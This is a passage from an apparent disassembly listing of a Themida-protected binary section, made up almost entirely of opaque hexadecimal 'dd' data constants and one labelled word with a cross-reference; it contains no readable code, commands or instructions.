0C3321566h, 0A77737F6h, 8823FCB9h dd 51FF1566h, 826AE903h, 6051C64Eh, 0EF305A48h, 0ADEB1CEAh dd 223214CBh, 113A9469h, 13D1566h, 44321564h, 0DAB17406h dd 88B01A36h, 61321566h, 44321561h, 3A1538AAh, 90079B2Ch dd 8832118Ah, 603E9C66h, 0CBB26ED7h, 48FA9D8Dh, 8832128Fh dd 7286DA66h, 0C00F3EFFh, 1123FCCCh, 0CC8D1566h, 35FDC05Bh dd 5E4F4784h, 6B9227h, 360FDC9h, 0CD673162h, 26F79483h dd 90321566h, 883211A3h, 601E9266h, 0CB98E93Ah, 1132156Ch dd 0B7AFC6E4h, 52484077h, 2D528342h, 113216E7h, 2C09566h dd 3A5BAD00h, 22F3FC07h, 9F3D1566h, 88321571h, 44239C69h dd 2EDB1566h, 0DF321566h, 0A4C13D26h, 6B7E4B18h, 0DE7E126Ah dd 49162199h, 8836D1E7h, 0B1521566h, 2232048Fh, 0FE59F966h dd 12CCE75Dh, 0B8E29FD3h, 0D81EBAF3h, 0BB539630h, 8832188Fh dd 0ED0EC66h, 87E3C786h, 4AB89B7Fh, 0F7B2E6FDh, 0C13DFC99h dd 22321505h, 458F9693h, 8835FE9Eh, 441B9169h, 0A9521566h dd 11B51AA4h, 0E9321566h, 0BDA588EBh, 0DDCE128Ch, 1123FCB5h dd 0F81566h, 22CAE1A6h, 0F1BFE82Dh, 0A6E2190h, 0DB974EFAh dd 1BBAD6EEh, 62E9E62h, 7136D1E5h, 88349C69h, 0CC3D1566h dd 22321566h, 0C8DA9400h, 80DB748Bh, 9321566h, 25DB6867h dd 9A7184E5h, 6C10B4E3h, 4435FC61h, 0A7651566h, 0CA8AA5D4h dd 0FE0910A0h, 0BC1B6B7Dh, 5409A833h, 0F91B6B7Dh, 8826FC3Bh dd 0EBD71566h, 0CC108E1Ah, 0ED4CCFA6h, 0B3BA9EEDh, 348C54D3h dd 0C35AC90Bh, 98321523h, 8C8D315Ah, 6D321566h, 2ADB4A9Eh dd 0B5321566h, 7E9EFF6Ah, 0EFA8E7B9h, 4352B89Ah, 0EECEAD36h dd 0E51FEA99h, 45530918h, 5C5F1096h, 11F5747Ah, 88321566h dd 7EDBEC3Eh, 2DCDEA9Dh, 113212E6h, 57B97566h, 2546C4E6h dd 3ADBA0EFh, 1E521282h, 883215EFh, 0FBE89566h, 6C3F7D07h dd 5BB1566h, 885AE942h, 0B13215E6h, 0A252150Ch, 933D23BDh dd 88321566h, 3987EA07h, 0D735F140h, 0E078099h, 0DB521282h dd 17FA9400h, 0DD534B3Ch, 90683152h, 883211A2h, 0AFB27566h dd 0E3851AA1h, 88BF9E07h, 6135F172h, 4432156Fh, 4F1ECD29h dd 9F758A86h, 8CDE944Eh, 0CD321566h, 828D315Ah, 90433325h dd 0A77339A1h, 0ABB3522Dh, 9E6791ABh, 0E96D2CEFh, 880B240Eh dd 602E9C66h, 223211DDh, 4AEB1466h, 11BF9C9Fh, 4B35F172h dd 223219E4h, 17B81A66h, 87321566h, 443215E1h, 0E431FC66h dd 1CDBEA99h, 0B9321566h, 0EAD5783Bh, 0CCDDAD32h, 0BF4A0BCDh dd 88389369h, 24521566h, 22BB1A07h, 70321566h, 8818208Fh dd 0BD52E066h, 36AB98EDh, 0EECE1282h, 0AC069457h, 6E831F8Bh dd 0A31619EDh, 113211A2h, 65C39466h, 4B18A46Ch, 22321DE7h dd 13BE1A66h, 0E8321566h, 4FB21A07h, 42321566h, 90C39E00h dd 49962788h, 0C9BB7428h, 25D9ED36h, 1139FC06h, 0E0FD1566h dd 2DCA18C5h, 663B749Ch, 0D2EC9431h, 0E93CAD1Eh, 107C2DE7h dd 0A73D5922h, 113215E9h, 0F0B3739Ah, 4B1C5962h, 223297E3h dd 9A62EC66h, 4CB33152h, 44321562h, 223A9C69h, 71521566h dd 0E7887307h, 0FE607469h, 22321560h, 5B9C367h, 8CF69642h dd 0EA2EAE06h, 31DB78A8h, 0DC321566h, 0DAF00879h, 53AABDFBh dd 4FD567C5h, 6DFC5E5Fh, 35367EEh, 0A01040E3h, 3AB21A61h dd 0F8321566h, 88321575h, 4E0E5CA8h, 58F70164h, 4364BE80h dd 45668CAFh, 0AD4577BBh, 22321182h, 70524706h, 0BDECAD3Eh dd 24537A84h, 4111CDE7h, 41531246h, 731611E7h, 1A7B1900h dd 44C9AF34h, 0C71B5C6Ah, 89BD1A3Ch, 0B8321566h, 0ABF39C37h dd 353E9EACh, 8736D1E5h, 44321DE2h, 43527566h, 0CB5BAC00h dd 61FB2407h, 4432156Eh, 7A0801CFh, 1DECB598h, 0B4CAE9CAh dd 1B61A66h, 2D321567h, 113214E6h, 0A50EE966h, 0BBD49169h dd 2FDBEA99h, 0E9321566h, 59A293BCh, 0E36A9CBDh, 0E6663FECh dd 953D3B5Ah, 883215EBh, 44339769h, 1ECB1566h, 0CBB01A56h dd 7D321562h, 0C23D2C5Ah, 0DDCDEAD2h, 10B21A9Ah, 70321566h dd 0C63D545Ah, 223211A7h, 0D2B37306h, 9540A84h, 2593AD86h dd 0A43D4F5Ah, 0EECDEAF6h, 88321C8Fh, 63C30D66h, 11D98F0Ah dd 4E0EA53Ch, 77489169h dd 0CE3DEA99h, 2232156Ah, 11349769h, 23D1566h, 44321566h dd 0A03D745Ah, 1132111Bh, 8748299Eh, 0BBCD42E0h, 223FFC99h dd 0B7121566h, 8084C16Ch, 5C005E4Bh, 0CB570409h, 1132113Bh dd 8CCD479Fh, 60269E42h, 2236D1E7h, 1BDB1566h, 3C321566h dd 1581D7A2h, 0ABB4106Ch, 10B71A3Bh, 71321566h, 0C03DE75Fh dd 22321157h, 1132198Fh, 9171B266h, 23EFE52Ah, 803275B7h dd 0EE8A4502h, 89CDEA99h, 24CE4DA4h, 22229C69h, 1ADB1566h dd 60321566h, 5A9B98C5h, 48512308h, 0CEB9BE0Ch, 0D1654407h dd 0BDB55239h, 22321D8Fh, 0CD02CD66h, 57DBB087h, 0BAF4FC29h dd 0A53DEA99h, 11321576h, 88389869h, 41DB1566h, 0B8321566h dd 0AFDA7EB1h, 0C3DDCE3h, 443216A3h, 22321A8Fh, 617F4566h dd 0F5F44C24h, 0F9EC02Eh, 0DBE40615h, 1A73A0EBh, 87521282h dd 443213E7h, 22B81A66h, 0F8321566h, 8832156Fh, 28A5A198h dd 1EEB534Ch, 436474DCh, 0D6C39C38h, 443A9E69h, 0AF3D1566h dd 11321564h, 9607406h, 46C3162h, 1EB9110Eh, 15F69642h dd 0C86CFAE7h, 0F4CA110Eh, 26D2D5D7h, 4054204Ah, 601241D3h dd 3A064C00h, 2232188Fh, 1AD4CF66h, 74F6EBF2h, 0E919FC6Fh dd 579CF568h, 0AE54759Bh, 4FB3B934h, 321166D1h, 0A3C7E007h dd 0A75C368Fh, 0D0DB9446h, 6D25377Dh, 7AF3949Fh, 9025377Dh dd 3E5C36A7h, 443FFC46h, 3CF41566h, 32867F0Bh, 2C097CADh dd 24412272h, 4C2FAB00h, 118A4507h, 0A1321566h, 1D6244AEh dd 0A03D4D3Eh, 1132156Bh, 88321D8Fh, 0F7E2D266h, 0F92C5919h dd 9A5475DAh, 4B851AACh, 0A1DD9407h, 0B42F90Fh, 0F48F40A9h dd 8942F90Fh, 4B524889h, 223216E6h, 0E7F39566h, 8823FC07h dd 0CEDC1566h, 0CF64E9DDh, 0E498745h, 62B0575Dh, 752CFCA4h dd 13CC2491h, 0B5C1EC91h, 5B8D1A06h, 0CBAC00h, 59864507h dd 0E768F1E6h, 79FE95BAh, 15C5F9E6h, 6DBAF4EEh, 0ED6A4C99h dd 837380EBh, 0CFCE1282h db 0E3h, 20h word_607F42 dw 0C614h ; DATA XREF: Themida_:00584888o dd 0E8CE7561h, 87F29007h, 4432BAE3h, 0E4CBED66h, 0F51E38E3h dd 0D3D5261h, 4432157Fh, 2232018Fh, 90755D66h, 91ED76A7h dd 0E1EB4446h, 0A30D98F7h, 6E0E3EFh, 2FE07DDBh, 4BC7C1FCh dd 223201E4h, 1FB11A66h, 61321566h, 4432156Fh, 358FA1EAh dd 5C6911C8h, 0C987EABFh, 4B35F147h, 22321FE7h, 0A63D7566h dd 40B373AEh, 4B53175Ch, 223219EDh, 17BE1A66h, 87321566h dd 443215E5h, 85B79866h, 0F835F2D6h, 88321563h, 3E9F4A13h dd 0A9547558h, 903D47B1h, 88321566h, 94CD743Fh, 22321A8Fh dd 0BAA466h, 998E100Eh, 0F7D33772h, 0A2B9B658h, 9F3DE006h dd 88321565h, 253DCAE6h, 0A3D09C34h, 113211A4h, 8CD89666h dd 181601E1h, 2D1601EFh, 11321DE4h, 0D3D7566h, 44321566h dd 42E2EA07h, 11339B69h, 3ECA1566h, 0C1C77413h, 0D3B71AA6h dd 71321566h, 883C9569h, 4DDB1566h, 0CA321566h, 9DCBEFF7h dd 0EEB6541Dh, 0CF53DBEDh, 0C629C0E3h, 1DB41A61h, 87321566h dd 443213E2h, 22B01A66h, 94321566h, 0F1B71AA6h, 0B1321566h dd 0E1F90A0h, 0F87E1282h, 8832156Bh, 4BE846F6h, 4A163500h dd 2FB6CCD8h, 94DB7DE8h, 0C03DCCBCh, 22321561h, 0C9B97306h dd 7753D3EDh, 0A01354D3h, 2226FC61h, 86971566h, 75A09011h dd 46B81A28h, 147E82F2h, 283F5FA7h, 0DBF884Dh, 43D5A5C1h dd 22209C69h, 1CDB1566h, 45321566h, 99154D6Fh, 0A9A2D562h dd 5DE1F639h, 73DC599h, 4432156Eh, 22309569h, 70521566h dd 8DD29C36h, 44321562h, 0A536FDE5h, 986E3162h, 33D3172h dd 44321567h, 0CBE2EA9Fh, 11321577h, 0AA3AE05Eh, 9C07AF2Bh dd 2B7830D4h, 60DED719h, 87F290E7h, 443212E3h, 0ACDBEC66h dd 0E9321566h, 706290EFh, 0CF3D128Dh, 22321567h, 68247D9Eh dd 8CBB1566h, 48B21A42h, 2D321566h, 113213E1h, 88B81A66h dd 2C321566h, 22326F8Ah, 711621EFh, 94897306h, 0E7F194C6h dd 43245EF8h, 11369A69h, 30541566h, 0C953C008h, 0C5F88EE3h dd 0E8617561h, 58CD743Dh, 4BF21E9Eh, 223231E3h, 1121FC66h dd 0DA021566h, 490638B5h, 1134B815h, 1A23E861h, 1738869Fh dd 4421FCA7h, 0A03D1566h, 11321567h, 0AC769C93h, 0C63DE97Ah dd 22321567h, 0D2CB749Fh, 314DA306h, 3A5EDAD6h, 0A63D7507h dd 11321577h, 8832198Fh, 5344E66h, 0F073140Fh, 0AF003C6Eh dd 5B9E985h, 43D9ED36h, 44EC9E06h, 1B21CEE7h, 8834FC07h dd 0D941566h, 770D54A2h, 90D79C33h, 883211A3h, 40DF9666h dd 7E1639E1h, 0F81611EFh, 88321572h, 0D2B0E3DFh, 6A173D64h dd 3F5BF10Bh, 3BBA8691h, 0DA5470F1h, 6069437h, 66025947h dd 0B1611EDh, 650711A2h, 2D45252Ah, 11321DEBh, 8AB61A66h dd 24321566h, 1E884707h, 10321566h, 888946A4h, 45321566h dd 793116B5h, 0AECA753Ch, 0B0E0AC07h, 0CC82EA07h, 0A9321566h dd 0D5B13172h, 6052E962h, 4432156Dh, 94BFCB25h, 10BA5471h dd 30E47814h, 64DB9735h, 0E5B9733Eh, 28A79C07h, 0E835F17Eh dd 2252E4ECh, 61F6E5E7h, 1132068Fh, 0BE3FDC66h, 0D701526h dd 59803BEh, 0CD4BE8B9h, 158153Eh, 41DB7407h, 3D321566h dd 0E050CAC0h, 88CAAA31h, 0BC331566h, 0A11629EDh, 0AA5211A2h dd 0DC129F1Eh, 4435FC07h, 2DCE1566h, 0E218F60Eh, 848946F0h dd 0C5321566h, 997C258Dh, 90F11460h, 337C25A5h, 1F219E60h dd 22321F8Fh, 0A3EDA366h, 97423514h, 0CD9C56E0h, 0C63C5CF3h dd 1126FC61h, 81901566h, 72B77661h, 0CD1282AEh, 0CDAD7AC0h dd 8EE74FA0h, 70CDA3CDh, 0E6B34D42h, 11321562h, 88339C69h dd 0BBCB1566h, 7A163112h, 1132078Fh, 0DB498366h, 53B310F1h dd 0F8202C04h, 13EFB84Eh, 0E8EE753Bh, 0C03D53D5h, 22321566h dd 5CDF3807h, 5375E77h, 6D1D873Ch, 78BF38AEh, 0FC373AF4h dd 6179042Bh, 44321577h, 977DC10h, 7DB0B17Fh, 710E5301h dd 0FE3C1248h, 6BB72E8Eh, 1E35F168h, 883274E4h, 54DB7566h dd 0B4321566h, 5DADCADFh, 0A80340D8h, 774DD55Fh, 0A2A84C48h dd 2A538980h, 6C2A2CE3h, 7FB11A61h, 42321566h, 11321A8Fh dd 53C01366h, 0FBE7B876h, 3612E3B1h, 60E67E45h, 47B97306h dd 0B1537407h, 2D3211A4h, 113200E9h, 87B01A66h, 0AD321566h dd 2232156Ch, 0A84D93F5h, 431CA0E0h, 0B853526Ch, 3F1611A1h dd 90520C13h, 0C63A314Ah, 40B31F81h, 771A2042h, 351E9455h dd 0B0064E5Bh, 0F21631E7h, 0DD5BC919h, 15B3316Ah, 0FEE47B42h dd 6016D489h, 61E9462h, 76875B2Bh, 0B51611E7h, 4B5955C1h dd 22321FE0h, 903D7566h, 88321566h, 0B8534B30h, 261651A1h dd 18805794h, 8C164191h, 40165199h, 261679A7h, 3576EA62h dd 0AC5E9462h, 0D3252C62h, 6769452h, 23097D62h, 0E063E943h dd 71C12C7Fh, 0A1E3E23Fh, 0F8B314A7h, 423ED384h, 0AD6BDDEFh dd 22321568h, 58D6581Ah, 927549Ch, 0CC0A0CE1h, 0AFBFECD8h dd 16D65A81h, 88321E8Fh, 0BDC79E66h, 0E18C0733h, 0BCAE60F1h dd 99DBF499h, 11321566h, 0FC6A611h, 0C423AAD9h, 0E006F7EDh dd 8C1BDB88h, 9860E906h, 11321566h, 3361E767h, 44321566h dd 21B8C667h, 2DCB4F3Dh, 0DAB61A8Fh, 0B1321567h, 2DDA2993h dd 113372E2h, 8834FC66h, 3E961566h, 5A3AEEC9h, 953D1A5Ah dd 88321536h, 443A9069h, 72521566h, 9B88733Dh, 450E74D2h dd 45A59169h, 1ECA1566h, 0C4B61A8Dh, 74321567h, 58BD1A07h dd 42321566h, 2DB1BD6h, 44321566h, 2F187EEFh, 6A96BA3Bh dd 1B53C894h, 0B7446FD3h, 8753C856h, 0DA8D1A06h, 10B91A07h dd 70321566h, 4433AC37h, 0CBB31566h, 19250B1h, 49B3E467h dd 549250B1h, 2D6B0CECh, 113206EBh, 883CFC66h, 0F3451566h dd 0D3A13BABh, 717D49CEh, 6F90C0F8h, 0CD36F9E5h, 0D2823162h dd 0F86AD646h, 88321574h, 23C82A86h, 0CB92CA52h, 95A62C6Ah dd 0F2EE86EDh, 0BFB243D1h, 57B71AE6h, 71CDEA99h, 0B07EECDEh dd 94851A5Bh, 4F557D07h, 25BB1566h, 33D4E42h, 44321568h dd 22321C8Fh, 70F39A66h, 25741320h, 14CAAD5Dh, 223213DEh dd 9AF11466h, 4CB33162h, 44321562h, 223E9269h, 993D1566h dd 88321560h, 44329069h, 77601566h, 0ED5D62DBh, 8ED7D441h dd 0C531F0A7h, 602F6083h, 0AFC7944Eh, 9324A02h, 595AA98Bh dd 7FD89C4Eh, 0B31E767h, 0F0DBED3Ch, 0AD321566h, 2232156Bh dd 13CEB23Ch, 5EAF1DE0h, 0F2A86CF5h, 9A624760h, 67E97B84h dd 0ACA30A63h, 1CF09CEFh, 38B9E767h, 0EAB1EC3Ch, 3EB61A9Dh dd 0BD321566h, 62E9E30h, 1136D1E7h, 0E8CB1566h, 25E19E00h dd 2236F9E7h, 15BB1566h, 8833AD42h, 0B4331566h, 2D6A0D65h dd 11321EE5h, 46B37566h, 6AF840B1h, 437CF9E6h, 208F4037h dd 31045C6Dh, 727B1E52h, 236FFC57h, 0F8CE4CADh, 77CDEBE6h dd 44321D8Fh, 682CF866h, 0AED363B2h, 0D6841A25h, 4423FC67h dd 64A31566h, 0BAF61E50h, 953E98EAh, 0CF147447h, 0A16B5C43h dd 953D3B8Dh, 77CDEB36h, 44321F8Fh, 0FE393B66h, 9E5CFC94h dd 61B3CABDh, 44321543h, 3DC9506h, 9152749Fh, 948D20BEh dd 2566CFCAh, 0DC336BE6h, 0EF109069h, 8EDBEA99h, 0DC321566h dd 0D5854430h, 0EDD6FC94h, 0D952EA99h, 4B6CC5EDh, 223210EFh dd 0C7BDAD66h, 0E0536A4Dh, 44327034h, 0D71621EFh, 1119D70Eh dd 0AC3E9C66h, 4F897306h, 223DFC61h, 0F9831566h, 0CC032412h dd 0BF0519D9h, 0C0C4CC56h dd 405A7417h, 132157Ch, 0C73D317Ah, 22321569h, 11321F8Fh dd 89EB2066h, 0F1ADD37h, 75130E89h, 0D6B3F2EFh, 88321562h dd 4436FAE7h, 1EB51566h, 2DBB4942h, 84DA7542h, 0AD321566h dd 0D228ADDFh, 654B301Dh, 61FF7976h, 4432156Eh, 12946375h dd 1DAFDBBCh, 123FAB39h, 755324EAh, 223DFCA6h, 31131566h dd 4CEF72EFh, 86C18373h, 64C6A33Eh, 43C7B915h, 63D7EEh dd 1DD99DB3h, 9060EC3Ch, 5BD895E6h, 9C854600h, 1F54EF4Eh dd 0E8B2D798h, 6AD8952Dh, 8768C646h, 443212E6h, 23B41A66h dd 0E4321566h, 8742EEE6h, 4437AEE2h, 29DB7566h, 62321566h dd 54B3BD3Ah, 76A204E6h, 0A9543FD9h, 1E0E7491h, 888F9169h dd 78CB1566h, 32B61A8Fh, 1E32156Dh, 88320BE4h, 0FB3D7566h dd 2226FC95h, 687C1566h, 0F129B229h, 0E41745B4h, 0F2E4DDD9h dd 0FB58F64Eh, 0B453719Ch, 0BEB61A8Dh, 0CB321568h, 1132156Ch dd 5A75D608h, 86D0D478h, 0C10EF5D7h, 126B9169h, 0B4CA1566h dd 24B61A84h, 42321576h, 0EE53E7EDh, 0B6D3152h, 0BBC711A2h dd 0A1693152h, 0EEC711A2h, 96B3152h, 443211A2h, 2237FC66h dd 83E21566h, 61AC777Ch, 44321574h, 0A7CAFC82h, 3A0D829Bh dd 0AA0070CDh, 0E0829BB9h, 16B9B9CDh, 0F3BB4742h, 8836D7E7h dd 86B11566h, 6269262h, 9D3DE93Ah, 88321562h, 25C69F06h dd 9D3D75A5h, 0C9B37395h, 4F531E43h, 0AFCB35E3h, 22321361h dd 18B41A66h, 0E8321566h, 709928DDh, 431DA018h, 1132AC37h dd 49B31566h, 1FB62918h, 0CBB3E467h, 4AB62918h, 716B0CECh dd 0C4D1A037h, 0E7CC4C93h, 3107D0E6h, 8EDB4C8Dh, 5C321566h dd 8D43E732h, 91C9952Eh, 777B9069h, 4FDBEA99h, 0ED321566h dd 857EE83Eh, 0AC0EB6EFh, 0C33D3B32h, 2232157Fh, 1122FC06h dd 0FE21566h, 563C3A58h, 2E68026Fh, 7B0C5DA6h, 0D6600A41h dd 0BB8D4207h, 23CDEA99h, 9ACA4A98h, 6C1158E3h, 443BFC61h dd 13101566h, 0B50E36F1h, 8716D7E1h, 44321DE8h, 20BF1A66h dd 71321566h, 0EDA79E07h, 0BD35F173h, 223B1E0Eh, 35069C66h dd 852ED3Dh, 2252B3BCh, 5F4AD3E7h, 70C5A269h, 35674707h dd 5C0C14F5h, 6F34F0A7h, 8A75D0E7h, 62BBE519h, 1EE1143Bh dd 0C0DC9406h, 1E04C7EEh, 883215E3h, 0FE607466h, 22321564h dd 35FBD7E7h, 7A336F77h, 60FBFFE7h, 38316F77h, 1CDB753Ch dd 66321566h, 2D7D4EF8h, 69FE65B1h, 7D057235h, 0E989D6E6h dd 0C63DCD5Dh, 2232156Ch, 1EE82E9Eh, 77CC7FE0h, 0AFB3E999h dd 7D3C64B1h, 75A9FEE7h, 731B0336h, 20A9D6E7h, 0E1B30336h dd 4E3C64B1h, 883A9569h, 0C03D1566h, 22321564h, 47C77406h dd 883213D8h, 0FCF19466h, 0B0BDE64h, 0A9D99495h, 0D60BDE64h dd 0F33D4206h, 0A9544B98h, 1E5274B7h, 883216E9h, 97B97366h dd 2232048Fh, 3A892266h, 0F4891F21h, 15C44301h, 17FE4F31h dd 7753373Ch, 0EECEE0CBh, 4420FCCDh, 84BC1566h, 0BBC2967Eh dd 0F6DCCDD7h, 7DD8F6CEh, 1A05B6ACh, 115D2A0Eh, 0AC369C66h dd 0AD694D35h, 22321577h, 0CAA0D62Dh, 393FA796h, 0F4E1125Fh dd 4D1BCAD5h, 9B52BEFEh, 3567748Dh, 44321562h, 0EB9FB67h dd 15F69642h, 0AC0E9C93h, 60469C93h, 27DB756Ah, 0FC321566h dd 1A87876Bh, 44321E8Fh, 59E4E066h, 124799F5h, 313C31A8h dd 45879C07h, 0DE35F148h, 461629EDh, 4FB3F2EFh, 44321562h dd 2236D2E7h, 2DB51566h, 61524942h, 44321569h, 9D1BDA7Bh dd 4E887ABDh, 0E729383Eh, 25786D1Ch, 731609EDh, 0D0B3F4EFh dd 88321562h, 4436D4E7h, 2EB51566h, 0F9524942h, 8832156Bh dd 9EFA3665h, 9A964A10h, 0AC4691B9h, 0EE6BED31h, 0BB53C2EDh dd 0A16B3152h, 17DB11A2h, 4321566h, 187B3B85h, 6069E78h dd 90D09C34h, 883211A4h, 40F09466h, 0A5321566h, 0F86E3172h dd 88321561h, 8AE995A0h, 7071DCAAh, 0A863F7EFh, 0BFF9294Bh dd 0B3EBE227h, 0A3E3E2BFh, 25F1C097h, 0D1F814AEh, 0C336D7E5h dd 0D76E3172h, 0EED25D8Fh, 80B21A99h, 24321566h, 0F5D09400h dd 7153ECF7h, 0B3D29D2h, 44321564h, 0E5536DD1h, 0FACB35E3h dd 88321761h, 0AFB37566h, 6B7BCDC8h, 0E1BB4507h, 8CB9D6EFh dd 40F69642h, 2C841A93h, 11321B8Fh, 0F7C8F266h, 0F54ED8EBh dd 0A05EDA7Ch, 91F8CF02h, 0B3D959Fh, 4432153Dh, 22359769h dd 973D1566h, 88321567h, 87B3EC93h, 77404239h, 0AC67DE67h dd 0DD404239h, 246FFE4Fh, 78FA9400h, 70F59ED8h, 77CDAA31h dd 0BF1BEA99h, 87DBE039h, 1E321566h, 88320BE6h, 5CB81A66h dd 0CB321566h, 11321575h, 0FE0EA03Ah, 56D2C7Fh, 95C9D9E6h dd 5528B197h, 9F68EC8h, 4432118Ah, 6269C66h, 0FFF274D0h dd 8FCEB64h, 0B51AFD90h, 0D563E03Ch, 1DB9317Ah, 8CF69642h dd 44321E8Fh, 2BB8666h, 88D09B47h, 0B1C2859h, 0FB65409Fh dd 7716545Fh, 0D06DE8EFh, 4DB3178Bh, 73683BA1h, 547F8E7h dd 0D4B312E8h, 0A35530D4h, 0C537F0A7h, 0A598AA93h, 4CDB3469h dd 10F1949Ah, 6D7C701Ah, 188847ADh, 5B46973Dh, 0AF93E7E7h dd 971B2F81h, 2234FC3Ch, 8E931566h, 0D8379178h, 677F90EDh dd 0CB521282h, 11321568h, 17E57B07h, 8CA12252h, 0E9463F4Ch dd 18DBEEEEh, 32321566h, 0FA1F1890h, 8CC1722h, 1139FC07h dd 7B1E1566h, 8DD49D16h, 10E0A6B3h, 74A79E9Fh, 8735F173h dd 443202E1h, 2220FC66h, 0D6991566h, 55DBD69Eh, 0CFA69300h dd 0E12C1165h, 4432BCD1h, 9377A8E5h, 4B331282h, 223662E2h dd 0A8547566h, 0EE52C95Fh, 84B3CCEDh, 5D7A3EF9h, 0D20B7407h dd 8C6C9769h, 0AC521566h, 22321577h, 2E9DEB67h, 98E8095h dd 7E11800Eh, 0A433411Bh, 4A68442Bh, 0E9CCA269h, 0C63DC65Fh dd 0DDCDEF95h, 11359669h, 0F3D1566h, 44321567h, 223FFC9Fh dd 1CB21566h, 7B4500E1h, 90780B8Bh, 0CB8DF410h, 11321172h dd 883C9D69h, 4DDB1566h, 0D6321566h, 8A367B1Ah, 0F9856E4Ch dd 0BD1290A1h, 2230128Dh, 1ADB1566h, 8D321566h, 65D6B04Ch dd 0E407850Ch, 98623C27h, 3F19C96h, 80B13162h, 33DA7562h dd 5E321566h, 6EAAB486h, 235409BFh, 0F4B49DF6h, 87CDF3B0h dd 0E96D4ED0h, 44399A69h, 24DB1566h, 4321566h, 0D5A12F97h dd 4A841A61h, 928A7306h, 0E8B27449h, 0F6B11AE6h, 0AD321566h dd 22321574h, 18C94B81h, 97F6FA08h, 8A3DA7ECh, 41C06B1Eh dd 0D2B3DAE0h, 0EBF61333h, 6615FEE7h, 0E93341E6h, 3315D6E7h dd 63B341E6h, 27F61333h, 2232048Fh, 86333266h, 4D425355h dd 8495ABE8h, 0CDBED87Bh, 0A962BAF4h, 88321567h, 246AD667h dd 223E9169h, 17DA1566h, 6D321566h, 50AD17h, 43CA4BD0h dd 1132B18Fh, 883DFC66h, 53101566h, 0DA77D16Bh, 60E84017h dd 0BC65CE61h, 0F56345A9h, 7BFE9D35h, 0E7E1F9E6h, 0FBDE95BAh dd 0C431F9A6h, 0C31AEB92h, 1120FC3Eh, 5F081566h, 674E026Dh dd 221481F5h, 8885A64Eh, 9DCACCDCh, 50C5442Fh, 2CDB4C42h dd 0A5321566h, 4E74348Eh, 0E5BD01FAh, 2E7F218Bh, 5A8D423Bh dd 490BED6Ch, 0A3F31D81h, 71C59462h, 903DF16Ah, 3776B9A1h dd 0CFCB3416h, 0E6B1315Ah, 0D2B3E062h, 0BF0B0D93h, 6D2FEE7h dd 0E91B3AC8h, 53D2D6E7h, 63B33AC8h, 730B0D93h, 22359869h dd 903D1566h, 88321567h, 9B79E9Eh, 0DA35F145h, 74A79E9Fh dd 7D35F173h, 5F77A8E5h, 2D331282h, 113066E2h, 99B91A66h dd 0AD321566h, 2232156Ah dd 508204C6h, 0FFED3415h, 0C6C1C35Bh, 0A03DCD5Dh, 11321578h dd 87E12C93h, 0BBCB13E0h, 2222FC99h, 0AC561566h, 0FA416921h dd 0F4914871h, 35156785h, 0A962CDDEh, 0DF6D56ECh, 0AC2A316Bh dd 1BBE3039h, 9C07093Eh, 0A12E4D7Fh, 4BDB4DA0h, 46321566h dd 0D0929284h, 8B84846Ah, 0BB9270E7h, 0A43D6486h, 11321567h dd 8CDE9493h, 0CD321566h, 2D87316Ah, 0F86BFDEEh, 88321561h dd 18F9761h, 88C808E1h, 1189469Fh, 9321566h, 0F316B9A5h dd 0A3C1145Fh, 0A616B98Dh, 0D3399F5Fh, 728B7306h, 2DDB7441h dd 3B321566h, 24854552h, 0C535124Bh, 0DF566EE7h, 0A0635A86h dd 26F395B4h, 0B16BDDEEh, 0A2D3A635h, 0FAF23FA5h, 87C19563h dd 58B9CC46h, 26F69642h, 11321A8Fh, 25973866h, 5F58EFBEh dd 0D0A59FB4h, 7ED8B4A4h, 0E8FA1D9Eh, 20BDA4D9h, 0A43D4434h dd 11321566h, 87987438h, 443200E3h, 2222FC66h, 3ED11566h dd 0D042B6FBh, 1F50CCD2h, 0CED7DF55h, 0D2B31C44h, 0E00B27C6h dd 468BD6E7h, 0D91B57E0h, 138BFEE7h, 63B357E0h, 2C0B27C6h dd 9F674493h, 11321562h, 0A16FFCEFh, 0CA3D4CADh, 2232156Ah dd 1132128Fh, 4BD47766h, 0D0B9B259h, 0E103CD57h, 0F852CD57h dd 88321577h, 0D5AC11E5h, 709C88B6h, 0FBBEC97h, 3E3DBF28h dd 2573A207h, 2232138Fh, 76038766h, 23A5C0D3h, 0FC624693h dd 72435924h, 8907726Bh, 0C8EAE210h, 55F31026h, 843717AAh dd 9846380Dh, 56334DA5h, 0F1BBE93Dh, 25D63B67h, 94F5ED9Fh dd 8FD60E23h, 44321567h, 2232138Fh, 1AF5F66h, 0DDA7B9B9h dd 81B3F0EFh, 22321562h, 2236D0E5h, 0A403314Ah, 601E2642h dd 223DFC3Ah, 0D5181566h, 2A844B0Eh, 49B29D6Ch, 0D14500E1h dd 3506EA8Bh, 8CF6943Dh, 0AD321566h, 22321577h, 3F64FA36h dd 0D1A8DF40h, 3842B248h, 5F031DACh, 353E9E3Fh, 9D49C30h dd 443211A0h, 26F49666h, 4D1621E1h, 88399269h, 42DB1566h dd 0CC321566h, 0DBCC6E3h, 6BBB464Bh, 4436D6E7h, 0E1B11566h dd 352E9262h, 7D1631EDh, 44321F8Fh, 9352BD66h, 0A8D876D0h dd 0DFBC379Dh, 0FD63F2EFh, 22321562h, 926BDA67h, 0B4B511A1h dd 0ADCE4942h, 0DDCDCF5Bh, 37874606h, 0E9D09F3Dh, 4433AC37h dd 0EC1B1566h, 10B51A3Fh, 71321566h, 0CCECA635h, 29364EBEh dd 0AB3FA706h, 82D9BDEEh, 56DB7507h, 0A7321566h, 4B13A106h dd 44F1F890h, 0B39EB44Ah, 0AB105B7h, 1139FC5Ah, 56D21566h dd 7A2CECAAh, 0E4CC9386h, 0ED987462h, 136F9E5h, 0BD6A3152h dd 0B85CD463h, 1F6D1017h, 701B2E07h, 253C4A4Bh, 4CF3385Dh dd 0ED5264FCh, 718A7306h, 0F3C2947Eh, 431AD914h, 158B4407h dd 0A1321566h, 603E9EAEh, 2236D1E7h, 0F9521566h, 8832156Bh dd 160B371Ah, 668AA44h, 0CEB4E6FCh, 0D0CC9E64h, 0C55AD00h dd 4ACBBE07h, 11323A1Eh, 11629EFh, 40F59481h, 0A1321566h dd 2DB511A1h, 43D4942h, 44321572h, 223C9A69h, 18DB1566h dd 0A5321566h, 0FB61F6B9h, 28659423h, 1132108Fh, 0E239D966h dd 70CD4884h, 0E6B14E42h, 10B71A62h, 74321566h, 1D162199h dd 2236D1E7h, 943D1566h, 88321561h, 44339669h, 2DCE1566h dd 113214E8h, 0BCB9E066h, 0A3BB4242h, 2236D2E7h, 0D6B11566h dd 0AC0E9262h, 2CC7E03Ah, 22324334h, 981619EFh, 8CF39487h dd 0C7321566h, 2EB511A7h, 90524942h, 